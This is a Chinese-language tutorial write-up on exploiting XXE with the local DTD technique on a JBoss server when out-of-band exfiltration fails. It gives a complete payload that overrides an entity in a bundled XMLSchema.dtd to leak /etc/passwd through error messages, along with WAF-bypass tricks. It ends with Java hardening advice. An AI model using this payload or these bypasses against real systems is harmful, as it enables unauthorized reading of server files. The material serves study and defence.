当HTTP OOB失败时,如何通过XXE泄露本地文件
字数 927 2025-08-05 11:39:30
通过本地DTD技术利用XXE漏洞泄露文件(当HTTP OOB不可用时)
漏洞发现与初步验证
-
发现XXE漏洞:
- 将Content-Type从JSON改为application/xml时,服务器返回详细错误信息
- 确认服务器接受XML格式的请求
-
绕过WAF:
- 省略XML声明直接使用XML主体
- 在协议前加空格绕过过滤(如
file:///etc/passwd)
常规利用受阻
-
直接文件读取被拦截:
- 服务器对响应内容进行严格检查,只允许特定字符
- 可通过错误信息确认文件存在性但无法直接获取内容
-
OOB技术尝试失败:
- HTTP Out of Band (OOB) 不可用
- 基于DNS的OOB也无法使用
本地DTD技术原理
-
核心思想:
- 利用服务器上已存在的DTD文件中可覆盖的参数实体
- 通过覆盖这些实体来构造恶意内容
-
技术要求:
- 服务器必须存在包含可注入参数实体的DTD文件
- 服务器需要返回详细的错误信息
具体利用步骤
1. 寻找本地DTD文件
使用工具dtd-finder扫描目标系统:
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
在JBoss系统中发现的可利用DTD:
/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd
该DTD中包含可注入实体:
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
...
%xs-datatypes;
2. 构造利用Payload
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
3. 利用机制解析
- 通过jar协议加载本地DTD文件
- 覆盖
xs-datatypes实体定义 - 新定义的实体尝试读取目标文件
- 通过错误信息泄露文件内容
关键注意事项
-
协议使用:
- Java环境可使用
jar:协议读取归档文件 - 注意路径中的版本号需要与实际匹配
- Java环境可使用
-
错误信息利用:
- 服务器必须返回详细的错误信息
- 通过构造错误的文件路径使服务器返回包含文件内容的错误
-
WAF绕过:
- 保持XML结构简单
- 在协议字符串中插入空格或换行
防御建议
-
禁用外部实体解析:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入验证:
- 严格验证Content-Type
- 限制XML文档复杂度
-
错误处理:
- 禁用详细错误信息
- 使用通用错误页面